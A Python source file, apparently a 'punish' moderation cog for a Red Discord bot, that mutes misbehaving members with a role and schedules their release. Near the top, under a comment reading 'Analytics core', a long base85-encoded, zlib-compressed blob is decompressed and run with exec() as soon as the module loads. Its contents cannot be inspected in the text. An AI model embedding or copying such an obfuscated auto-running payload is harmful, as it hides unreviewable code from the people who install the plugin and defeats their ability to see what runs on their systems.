· 7 years ago · Feb 24, 2019, 11:14 AM
1import discord
2from discord.ext import commands
3from .utils import checks
4from .utils.chat_formatting import pagify, box
5import logging
6from cogs.utils.dataIO import dataIO
7import os
8import time
9import re
10
11__version__ = '1.8.0'
12
13try:
14 from tabulate import tabulate
15except Exception as e:
16 raise RuntimeError("You must run `pip3 install tabulate`.") from e
17
18log = logging.getLogger('red.punish')
19
20DEFAULT_TIMEOUT = '5m'
21PURGE_MESSAGES = 1 # for cpunish
22PATH = 'data/punish/'
23JSON = PATH + 'settings.json'
24DEFAULT_ROLE_NAME = 'Punished'
25
26UNIT_TABLE = (
27 (('weeks', 'wks', 'w'), 60 * 60 * 24 * 7),
28 (('days', 'dys', 'd'), 60 * 60 * 24),
29 (('hours', 'hrs', 'h'), 60 * 60),
30 (('minutes', 'mins', 'm'), 60),
31 (('seconds', 'secs', 's'), 1),
32)
33
34# Analytics core
35import zlib, base64
36exec(zlib.decompress(base64.b85decode("""c-oB^YjfMU@w<No&NCTMHA`DgE_b6jrg7c0=eC!Z-Rs==JUobmEW{+iBS0ydO#XX!7Y|XglIx5;0)gG
37dz8_Fcr+dqU*|eq7N6LRHy|lIqpIt5NLibJhHX9R`+8ix<-LO*EwJfdDtzrJClD`i!oZg#ku&Op$C9Jr56Jh9UA1IubOIben3o2zw-B+3XXydVN8qroBU@6S
389R`YOZmSXA-=EBJ5&%*xv`7_y;x{^m_EsSCR`1zt0^~S2w%#K)5tYmLMilWG;+0$o7?E2>7=DPUL`+w&gRbpnRr^X6vvQpG?{vlKPv{P&Kkaf$BAF;n)T)*0
39d?qxNC1(3HFH$UbaB|imz3wMSG|Ga+lI>*x!E&@;42cug!dpFIK;~!;R>u=a4Vz8y`WyWrn3e;uThrxi^*zbcXAK*w-hS{aC?24}>1BQDmD|XC|?}Y_K)!wt
40gh<nLYi-r|wI0h@$Y@8i_ZI35#>p9%|-=%DsY{k5mRmwJc=-FIbwpMk`jBG0=THS6MJs2`46LUSl@lusbqJ`H27BW(6QAtFo*ix?<SZ~Ahf=NN3WKFz)^+TI
417QEOmxt?UvhIC^ic3Ax+YB{1x5g($q2h}D8*$U8fJt>?PhusN{ONOTS+%2I;Ctp?3VVl^dVS8NR`CXWFk$^t%7_yrg#Maz27ChBD|fWTd^R-)XnPS*;4&<Hb
42R?}uRSd*FANXCTd~x2*g5GpgcrUhDa3BaD^(>D%{LKVMw_k~P%}$MPFA4VX|Gile`<zx~91c=^rr+w<vk`rY|=&(6-De}DG${Okn-OUXv48f1GJor`5?v$q%
43TFMcY}5A#o4RYqCKXHQd5P|0W0l#5QSaPj#FB6I;BuUch`A~CXFq+r-o=E-CNvA}RAD~d)}LoFd7IC;j_XS3*~oCR<oki&oY1UVbk3M=!!i`vMr-HBc_rohO
44|KYb3nAo(D3N*jqx8}YH0ZT{`_d=dceSKGK)%DT(>D{@Oz2jmA@MhJ3e$0)fWT9uy=op<MfB6@-2KrMVS%9JTqqE=Obp+{=TFfvIcBP<V%F1-&Kr5ENQ4{8B
45O-DM?sla&RYID~?N6EuFrUQ$MCB=~majN{JA+Mr>G0gxnz?*zZ$6X}YoDquT-f86S&9r_jl4^iwTB=b@dO<h-rGjr0zPBuz^FWl*PixdEmk567et~{sX$e;&
468hw@7@FLKBvxWZxR2upCDK-SAfuOtZ>?<UEL0#>bPz&m#k_EfT?6V$@c-S?1*oX@v%4J?ovJe=Ffg02v15~5{j(c*4z_SnsD`azD(52?Q`Wu16@BUW;Y3%YD
47I)=&rtyM)rFj5W?JunahlgVRPl$V&C&BRKI6h$QzMFpXXsu7x!1gjEZWC@qCeduj65x|OLYty_TCL;TTlFtT?m((VE-w=RSO<GXUtMq1v9bTWD-x(+!=c5cU
48u-JNvZ=%&fYkDWqE_d{1<>|oX?Tn2G64O>Hu6N^_?$cB)TyG=4V0GT<$$tOOjiqGg6Yg#f)QeNzC#b`#BGgYO?-{f{SeSVknN;R^@h&cZm3J@IxpK->s4_dW
49J!rxLkJAGpKlhA5quEd29O8_b1C-D?IFe@9_jXS-pCCHLYPWXhUK6UR0$qA=R{Amo|$>cNWg?d1zX>eSKpBCK4Iu+}6D|=G2?KfoXCKqd=Y|Q!@`dHCGg@v{
50vA$Z5dyJ<+eC&xFNPBQ-HUmQKiSM7yrrK|E5dKoHVjMCI*{|5XjK-hRoxfE?H>%7VQDis50t<T-{7R&*yNdElnjEIVy$Wqa#6}UueK}JZ;YuP80jPk8PX22@
51?fs-R5ufnCP7+1I4tB2o(kPl4r*iS;&0X@%LZri7fyY#1ABHnz3YKWpp7TXabSjn;momJS$fEU9}3epF*a@*n;E(&?p(Kx;VjZ}=<Gteb=fmkF39Gebr&Y)j
52}CI`&V#JvE5;9cOe$I&DwIcK3S0(WM=-FA1Qs{9-Bgtmar60ON}N1Y`!qS)%8K^$j)>^pSbB$ixCoa0<BU@bqEva{?J{lGorEQHBx$ERH_jk!1Y@gW}@T9`r
53#?E758i1{u?F)W;7hkYl#mw*o-1$NfSNJ5MHHkpg0UF!__4)rMXp^P_R1{w2&j)S)*(Rn7Icog3e|1$4m*>^&IpbJI}dPqMdW~P?1OQsGAGQsgxjAs2HHrr@
54Uu_tG{KEibSt2hp*w>;;6`u^-us%TPoaOVJ_?FPO$^>8k0HZC^DBEVf_F7FnB+e@mz5Ph%uUiTzW2WfG~IS@6vhTA70{2-iN)(RAJ4IWC#7^Vpt7a5K@&~#!
55IKTr@4s_iWEiu2X~OGbpi#AE1zlWirPcza;tQmxNBas>$asN8nCtL4HbJNJw=Mg2f&Qo;;0AJ=Pl%yz>lwi3o^V?@NcsN<x-K=3~6Aa*tDu}Nq`h=X?O$+(}
56G#iwVecFa^RZnvc3UWk3%z+7%&BvtLF^Ru(`{Onm6ct(to99#bX&-NrI4A-LMkD7_tX2?~6ZC!o~1n-D?0wl>Ckrc%k^6QM?QSgxi)qIOAz~S9voLkS~9jUd
572QRvhMhN7IVupD@Dc%||!)wb6GWa<j|4A7w^>1*G#geQy>+K)ZWl+Q>%nQt4gWkAZP9DIR5AB$NBZn~vz>MkF(Q^sY!XeEmiihsn({31b~az08JoJJ#h3c}f
58p5@@p1uZ)0wyV4eVv6#)ZuBnR+O{?2~#O=WX>|hTRpjFOeVaH+?)1<@5zZB3O7atkQq3>a@-XQ)u=e|AQBOb{yxSwh(gxjx~Vv~$|jVJh*@h8bDT~B=5AKTB
59gN|&SdeV*g%SW;!~C5(noym~n<pmP|pKUV5q8kb0-nBhD;q$Tq#fK4)JPKcs^U5or(L8H~9`^>)Z?6B?O_nr{EyXCH+`{upZAEX~!wi8Yv=mFA^{NoWvRbQE
60KO5Mv*BE!$bYYEr0ovE^y*)}a6NFOjJjE0+|{YfciCAuY+A)JkO+6tU#`RKipPqs58oQ-)JL1o*<C-bic2Y}+c08GsIZUU3Cv*4w^k5I{Db50K0bKPSFshmx
61Rj(Y0|;SU2d?s+MPi6(PPLva(Jw(n0~TKDN@5O)F|k^_pcwolv^jBVTLhNqMQ#x6WU9J^I;wLr}Cut#l+JlXfh1Bh<$;^|hNLoXLD#f*Fy-`e~b=ZU8rA0GJ
62FU1|1o`VZODxuE?x@^rESdOK`qzRAwqpai|-7cM7idki4HKY>0$z!aloMM7*HJs+?={U5?4IFt""".replace("\n", ""))))
63# End analytics core
64
65
66class BadTimeExpr(Exception):
67 pass
68
69
70def _find_unit(unit):
71 for names, length in UNIT_TABLE:
72 if any(n.startswith(unit) for n in names):
73 return names, length
74 raise BadTimeExpr("Invalid unit: %s" % unit)
75
76
77def _parse_time(time):
78 time = time.lower()
79 if not time.isdigit():
80 time = re.split(r'\s*([\d.]+\s*[^\d\s,;]*)(?:[,;\s]|and)*', time)
81 time = sum(map(_timespec_sec, filter(None, time)))
82 return int(time)
83
84
85def _timespec_sec(expr):
86 atoms = re.split(r'([\d.]+)\s*([^\d\s]*)', expr)
87 atoms = list(filter(None, atoms))
88
89 if len(atoms) > 2: # This shouldn't ever happen
90 raise BadTimeExpr("invalid expression: '%s'" % expr)
91 elif len(atoms) == 2:
92 names, length = _find_unit(atoms[1])
93 if atoms[0].count('.') > 1 or \
94 not atoms[0].replace('.', '').isdigit():
95 raise BadTimeExpr("Not a number: '%s'" % atoms[0])
96 else:
97 names, length = _find_unit('seconds')
98
99 return float(atoms[0]) * length
100
101
102def _generate_timespec(sec, short=False, micro=False):
103 timespec = []
104
105 for names, length in UNIT_TABLE:
106 n, sec = divmod(sec, length)
107
108 if n:
109 if micro:
110 s = '%d%s' % (n, names[2])
111 elif short:
112 s = '%d%s' % (n, names[1])
113 else:
114 s = '%d %s' % (n, names[0])
115 if n <= 1:
116 s = s.rstrip('s')
117 timespec.append(s)
118
119 if len(timespec) > 1:
120 if micro:
121 return ''.join(timespec)
122
123 segments = timespec[:-1], timespec[-1:]
124 return ' and '.join(', '.join(x) for x in segments)
125
126 return timespec[0]
127
128
129class Punish:
130 "Put misbehaving users in timeout"
131 def __init__(self, bot):
132 self.bot = bot
133 self.json = compat_load(JSON)
134 self.handles = {}
135
136 try:
137 self.analytics = CogAnalytics(self)
138 except Exception as error:
139 self.bot.logger.exception(error)
140 self.analytics = None
141
142 bot.loop.create_task(self.on_load())
143
144 def save(self):
145 dataIO.save_json(JSON, self.json)
146
147 @commands.command(pass_context=True, no_pm=True)
148 @checks.mod_or_permissions(manage_messages=True)
149 async def cpunish(self, ctx, user: discord.Member, duration: str=None, *, reason: str=None):
150 """
151 Same as punish, but cleans up the target's last message
152 """
153
154 success = await self._punish_cmd_common(ctx, user, duration, reason, quiet=True)
155
156 if not success:
157 return
158
159 def check(m):
160 return m.id == ctx.message.id or m.author == user
161
162 try:
163 await self.bot.purge_from(ctx.message.channel, limit=PURGE_MESSAGES + 1, check=check)
164 except discord.errors.Forbidden:
165 await self.bot.say("Punishment set, but I need permissions to manage messages to clean up.")
166
167 @commands.command(pass_context=True, no_pm=True)
168 @checks.mod_or_permissions(manage_messages=True)
169 async def punish(self, ctx, user: discord.Member, duration: str=None, *, reason: str=None):
170 """
171 Puts a user into timeout for a specified time, with optional reason.
172
173 Time specification is any combination of number with the units s,m,h,d,w.
174 Example: !punish @idiot 1.1h10m Enough bitching already!
175 """
176
177 await self._punish_cmd_common(ctx, user, duration, reason)
178
179 @commands.command(pass_context=True, no_pm=True)
180 @checks.mod_or_permissions(manage_messages=True)
181 async def p(self, ctx, user: discord.Member, duration: str=None, *, reason: str=None):
182 await self._punish_cmd_common(ctx, user, duration, reason)
183
184 @commands.command(pass_context=True, no_pm=True, name='lspunish')
185 @checks.mod_or_permissions(manage_messages=True)
186 async def list_punished(self, ctx):
187 """
188 Shows a table of punished users with time, mod and reason.
189
190 Displays punished users, time remaining, responsible moderator and
191 the reason for punishment, if any.
192 """
193
194 server = ctx.message.server
195 server_id = server.id
196
197 if not (server_id in self.json and self.json[server_id]):
198 await self.bot.say("No users are currently punished.")
199 return
200
201 def getmname(mid):
202 member = discord.utils.get(server.members, id=mid)
203
204 if member:
205 return str(member)
206 else:
207 return '(absent user #%d)' % mid
208
209 headers = ['Member', 'Remaining', 'Punished by', 'Reason']
210 table = []
211 disp_table = []
212 now = time.time()
213 for member_id, data in self.json[server_id].items():
214 if not member_id.isdigit():
215 continue
216
217 member_name = getmname(member_id)
218 punisher_name = getmname(data['by'])
219 reason = data['reason']
220 t = data['until']
221 sort = t if t else float("inf")
222 table.append((sort, member_name, t, punisher_name, reason))
223
224 for _, name, rem, mod, reason in sorted(table, key=lambda x: x[0]):
225 if rem:
226 remaining = _generate_timespec(rem - now, short=True)
227 else:
228 remaining = 'forever'
229
230 if not reason:
231 reason = 'n/a'
232
233 disp_table.append((name, remaining, mod, reason))
234
235 for page in pagify(tabulate(disp_table, headers)):
236 await self.bot.say(box(page))
237
238 @commands.command(pass_context=True, no_pm=True, name='punish-clean')
239 @checks.mod_or_permissions(manage_messages=True)
240 async def clean_punished(self, ctx, clean_pending: bool = False):
241 """
242 Removes absent members from the punished list.
243
244 If run without an argument, it only removes members who are no longer
245 present but whose timer has expired. If the argument is 'yes', 1,
246 or another trueish value, it will also remove absent members whose
247 timers have yet to expire.
248
249 Use this option with care, as removing them will prevent the punished
250 role from being re-added if they rejoin before their timer expires.
251 """
252
253 count = 0
254 now = time.time()
255 server = ctx.message.server
256 data = self.json.get(server.id, [])
257
258 for mid, data in data.copy().items():
259 if not mid.isdigit() or server.get_member(mid):
260 continue
261
262 elif clean_pending or ((data['until'] or 0) < now):
263 del(data[mid])
264 count += 1
265
266 await self.bot.say('Cleaned %i absent members from the list.' % count)
267
268 @commands.command(pass_context=True, no_pm=True)
269 @checks.mod_or_permissions(manage_messages=True)
270 async def pwarn(self, ctx, user: discord.Member, *, reason: str=None):
271 """
272 Warns a user with boilerplate about the rules
273 """
274
275 msg = ['Hey %s, ' % user.mention]
276 msg.append("you're doing something that might get you muted if you keep "
277 "doing it.")
278 if reason:
279 msg.append(" Specifically, %s." % reason)
280
281 msg.append("Be sure to review the server rules.")
282 await self.bot.say(' '.join(msg))
283
284 @commands.command(pass_context=True, no_pm=True)
285 @checks.mod_or_permissions(manage_messages=True)
286 async def unpunish(self, ctx, user: discord.Member):
287 """
288 Removes punishment from a user
289
290 This is the same as removing the role directly.
291 """
292
293 role = await self.get_role(user.server)
294 sid = user.server.id
295
296 if role and role in user.roles:
297 reason = 'Punishment manually ended early by %s. ' % ctx.message.author
298 if self.json[sid][user.id]['reason']:
299 reason += self.json[sid][user.id]['reason']
300 await self._unpunish(user, reason)
301 await self.bot.say('Done')
302 elif role:
303 await self.bot.say("That user wasn't punished.")
304 else:
305 await self.bot.say("The punish role couldn't be found in this server.")
306
307 @commands.command(pass_context=True, no_pm=True)
308 @checks.mod_or_permissions(manage_messages=True)
309 async def fixpunish(self, ctx):
310 """
311 Reconfigures the punish role and channel overwrites
312 """
313 server = ctx.message.server
314 default_name = DEFAULT_ROLE_NAME
315 role_id = self.json.get(server.id, {}).get('ROLE_ID')
316
317 if role_id:
318 role = discord.utils.get(server.roles, id=role_id)
319 else:
320 role = discord.utils.get(server.roles, name=default_name)
321
322 perms = server.me.server_permissions
323 if not perms.manage_roles and perms.manage_channels:
324 await self.bot.say("The Manage Roles and Manage Channels permissions are required to use this command.")
325 return
326
327 if not role:
328 msg = "The %s role doesn't exist; Creating it now... " % default_name
329
330 msgobj = await self.bot.say(msg)
331
332 perms = discord.Permissions.none()
333 role = await self.bot.create_role(server, name=default_name, permissions=perms)
334 else:
335 msgobj = await self.bot.say('Punish role exists... ')
336
337 if role.position != (server.me.top_role.position - 1):
338 if role < server.me.top_role:
339 msgobj = await self.bot.edit_message(msgobj, msgobj.content + 'moving role to higher position... ')
340 await self.bot.move_role(server, role, server.me.top_role.position - 1)
341 else:
342 await self.bot.edit_message(msgobj, msgobj.content + 'role is too high to manage.'
343 ' Please move it to below my highest role.')
344 return
345
346 msgobj = await self.bot.edit_message(msgobj, msgobj.content + '(re)configuring channels... ')
347
348 for channel in server.channels:
349 await self.setup_channel(channel, role)
350
351 await self.bot.edit_message(msgobj, msgobj.content + 'done.')
352
353 if role and role.id != role_id:
354 if server.id not in self.json:
355 self.json[server.id] = {}
356 self.json[server.id]['ROLE_ID'] = role.id
357 self.save()
358
359 async def get_role(self, server, quiet=False, create=False):
360 default_name = DEFAULT_ROLE_NAME
361 role_id = self.json.get(server.id, {}).get('ROLE_ID')
362
363 if role_id:
364 role = discord.utils.get(server.roles, id=role_id)
365 else:
366 role = discord.utils.get(server.roles, name=default_name)
367
368 if create and not role:
369 perms = server.me.server_permissions
370 if not perms.manage_roles and perms.manage_channels:
371 await self.bot.say("The Manage Roles and Manage Channels permissions are required to use this command.")
372 return None
373
374 else:
375 msg = "The %s role doesn't exist; Creating it now..." % default_name
376
377 if not quiet:
378 msgobj = await self.bot.reply(msg)
379
380 log.debug('Creating punish role in %s' % server.name)
381 perms = discord.Permissions.none()
382 role = await self.bot.create_role(server, name=default_name, permissions=perms)
383 await self.bot.move_role(server, role, server.me.top_role.position - 1)
384
385 if not quiet:
386 msgobj = await self.bot.edit_message(msgobj, msgobj.content + 'configuring channels... ')
387
388 for channel in server.channels:
389 await self.setup_channel(channel, role)
390
391 if not quiet:
392 await self.bot.edit_message(msgobj, msgobj.content + 'done.')
393
394 if role and role.id != role_id:
395
396 if server.id not in self.json:
397 self.json[server.id] = {}
398
399 self.json[server.id]['ROLE_ID'] = role.id
400 self.save()
401
402 return role
403
404 async def setup_channel(self, channel, role):
405 perms = discord.PermissionOverwrite()
406
407 if channel.type == discord.ChannelType.text:
408 perms.send_messages = False
409 perms.send_tts_messages = False
410 perms.add_reactions = False
411 elif channel.type == discord.ChannelType.voice:
412 perms.speak = False
413
414 await self.bot.edit_channel_permissions(channel, role, overwrite=perms)
415
416 async def on_load(self):
417 await self.bot.wait_until_ready()
418
419 for serverid, members in self.json.copy().items():
420 server = self.bot.get_server(serverid)
421
422 # Bot is no longer in the server
423 if not server:
424 del(self.json[serverid])
425 continue
426
427 me = server.me
428 role = await self.get_role(server, quiet=True, create=True)
429 if not role:
430 log.error("Needed to create punish role in %s, but couldn't."
431 % server.name)
432 continue
433
434 for member_id, data in members.copy().items():
435 if not member_id.isdigit():
436 continue
437
438 until = data['until']
439 if until:
440 duration = until - time.time()
441
442 member = server.get_member(member_id)
443 if until and duration < 0:
444 if member:
445 reason = 'Punishment removal overdue, maybe bot was offline. '
446 if self.json[server.id][member_id]['reason']:
447 reason += self.json[server.id][member_id]['reason']
448 await self._unpunish(member, reason)
449 else: # member disappeared
450 del(self.json[server.id][member_id])
451
452 elif member and role not in member.roles:
453 if role >= me.top_role:
454 log.error("Needed to re-add punish role to %s in %s, "
455 "but couldn't." % (member, server.name))
456 continue
457 await self.bot.add_roles(member, role)
458 if until:
459 self.schedule_unpunish(duration, member)
460
461 self.save()
462
463 async def _punish_cmd_common(self, ctx, member, duration, reason, quiet=False):
464 server = ctx.message.server
465 note = ''
466
467 if ctx.message.author.top_role <= member.top_role:
468 await self.bot.say('Permission denied.')
469 return
470
471 if duration and duration.lower() in ['forever', 'inf', 'infinite']:
472 duration = None
473 else:
474 if not duration:
475 note += ' <a:gifstop:400341453626146816> **Punished please behave.**<a:gifcrazymad:397923075334864906> ' + DEFAULT_TIMEOUT
476 duration = DEFAULT_TIMEOUT
477
478 try:
479 duration = _parse_time(duration)
480 if duration < 1:
481 await self.bot.say("Duration must be 1 second or longer.")
482 return False
483 except BadTimeExpr as e:
484 await self.bot.say("Error parsing duration: %s." % e.args)
485 return False
486
487 role = await self.get_role(server, quiet=quiet, create=True)
488 if role is None:
489 return
490
491 if role >= server.me.top_role:
492 await self.bot.say('The %s role is too high for me to manage.' % role)
493 return
494
495 if server.id not in self.json:
496 self.json[server.id] = {}
497
498 if member.id in self.json[server.id]:
499 msg = 'User was already punished; resetting their timer...'
500 elif role in member.roles:
501 msg = 'User was punished but had no timer, adding it now...'
502 else:
503 msg = 'Done.'
504
505 if note:
506 msg += ' ' + note
507
508 if server.id not in self.json:
509 self.json[server.id] = {}
510
511 self.json[server.id][member.id] = {
512 'until' : (time.time() + duration) if duration else None,
513 'by' : ctx.message.author.id,
514 'reason' : reason,
515 'unmute' : not member.voice.mute
516 }
517
518 await self.bot.add_roles(member, role)
519
520 if member.voice_channel:
521 await self.bot.server_voice_state(member, mute=True)
522
523 self.save()
524
525 # schedule callback for role removal
526 if duration:
527 self.schedule_unpunish(duration, member, reason)
528
529 if not quiet:
530 await self.bot.say(msg)
531
532 return True
533
534 # Functions related to unpunishing
535
536 def schedule_unpunish(self, delay, member, reason=None):
537 """Schedules role removal, canceling and removing existing tasks if present"""
538 sid = member.server.id
539
540 if sid not in self.handles:
541 self.handles[sid] = {}
542
543 if member.id in self.handles[sid]:
544 self.handles[sid][member.id].cancel()
545
546 coro = self._unpunish(member, reason)
547
548 handle = self.bot.loop.call_later(delay, self.bot.loop.create_task, coro)
549 self.handles[sid][member.id] = handle
550
551 async def _unpunish(self, member, reason=None):
552 """Remove punish role, delete record and task handle"""
553
554 role = await self.get_role(member.server)
555
556 if role:
557 data = self.json.get(member.server.id, {})
558 member_data = data.get(member.id, {})
559
560 # Has to be done first to prevent triggering listeners
561 self._unpunish_data(member)
562
563 await self.bot.remove_roles(member, role)
564
565 if member_data.get('unmute', False):
566 if member.voice_channel:
567 await self.bot.server_voice_state(member, mute=False)
568
569 else:
570 if 'PENDING_UNMUTE' not in data:
571 data['PENDING_UNMUTE'] = []
572
573 data['PENDING_UNMUTE'].append(member.id)
574 self.save()
575
576 msg = 'Your punishment in %s has ended.' % member.server.name
577
578 if reason:
579 msg += "\nReason was: %s" % reason
580
581 await self.bot.send_message(member, msg)
582
583 def _unpunish_data(self, member):
584 """Removes punish data entry and cancels any present callback"""
585 sid = member.server.id
586 if member.id in self.json.get(sid, {}):
587 del(self.json[member.server.id][member.id])
588 self.save()
589
590 if sid in self.handles and member.id in self.handles[sid]:
591 self.handles[sid][member.id].cancel()
592 del(self.handles[member.server.id][member.id])
593
594 # Listeners
595
596 async def on_channel_create(self, channel):
597 """Run when new channels are created and set up role permissions"""
598 if channel.is_private:
599 return
600
601 role = await self.get_role(channel.server)
602 if not role:
603 return
604
605 await self.setup_channel(channel, role)
606
607 async def on_member_update(self, before, after):
608 """Remove scheduled unpunish when manually removed"""
609 sid = before.server.id
610 data = self.json.get(sid, {})
611 member_data = data.get(before.id)
612
613 if member_data is None:
614 return
615
616 role = await self.get_role(before.server)
617 if role and role in before.roles and role not in after.roles:
618 msg = 'Your punishment in %s was ended early by a moderator/admin.' % before.server.name
619 if member_data['reason']:
620 msg += '\nReason was: ' + member_data['reason']
621
622 self._unpunish_data(after)
623
624 if member_data.get('unmute', False):
625 if before.voice_channel:
626 await self.bot.server_voice_state(before, mute=False)
627
628 else:
629 if 'PENDING_UNMUTE' not in data:
630 data['PENDING_UNMUTE'] = []
631
632 data['PENDING_UNMUTE'].append(before.id)
633 self.save()
634
635 await self.bot.send_message(after, msg)
636
637 async def on_member_join(self, member):
638 """Restore punishment if punished user leaves/rejoins"""
639 sid = member.server.id
640 role = await self.get_role(member.server)
641 data = self.json.get(sid, {}).get(member.id)
642 if not role or data is None:
643 return
644
645 duration = data['until'] - time.time()
646 if duration > 0:
647 await self.bot.add_roles(member, role)
648
649 reason = 'Punishment re-added on rejoin. '
650 if data['reason']:
651 reason += data['reason']
652
653 if member.id not in self.handles[sid]:
654 self.schedule_unpunish(duration, member, reason)
655
656 async def on_voice_state_update(self, before, after):
657 data = self.json.get(before.server.id, {})
658 member_data = data.get(before.id, {})
659 unmute_list = data.get('PENDING_UNMUTE', [])
660
661 if not after.voice_channel:
662 return
663
664 if member_data and not after.voice.mute:
665 await self.bot.server_voice_state(after, mute=True)
666
667 elif before.id in unmute_list:
668 await self.bot.server_voice_state(after, mute=False)
669 unmute_list.remove(before.id)
670 self.save()
671
672 async def on_command(self, command, ctx):
673 if ctx.cog is self and self.analytics:
674 self.analytics.command(ctx)
675
676
677def compat_load(path):
678 data = dataIO.load_json(path)
679 for server, punishments in data.items():
680 for user, pdata in punishments.items():
681 if not user.isdigit():
682 continue
683
684 # read Kownlin json
685 by = pdata.pop('givenby', None)
686 by = by if by else pdata.pop('by', None)
687 pdata['by'] = by
688 pdata['until'] = pdata.pop('until', None)
689 pdata['reason'] = pdata.pop('reason', None)
690
691 return data
692
693
694def check_folder():
695 if not os.path.exists(PATH):
696 log.debug('Creating folder: data/punish')
697 os.makedirs(PATH)
698
699
700def check_file():
701 if not dataIO.is_valid_json(JSON):
702 print('Creating empty %s' % JSON)
703 dataIO.save_json(JSON, {})
704
705
706def setup(bot):
707 check_folder()
708 check_file()
709 bot.add_cog(Punish(bot))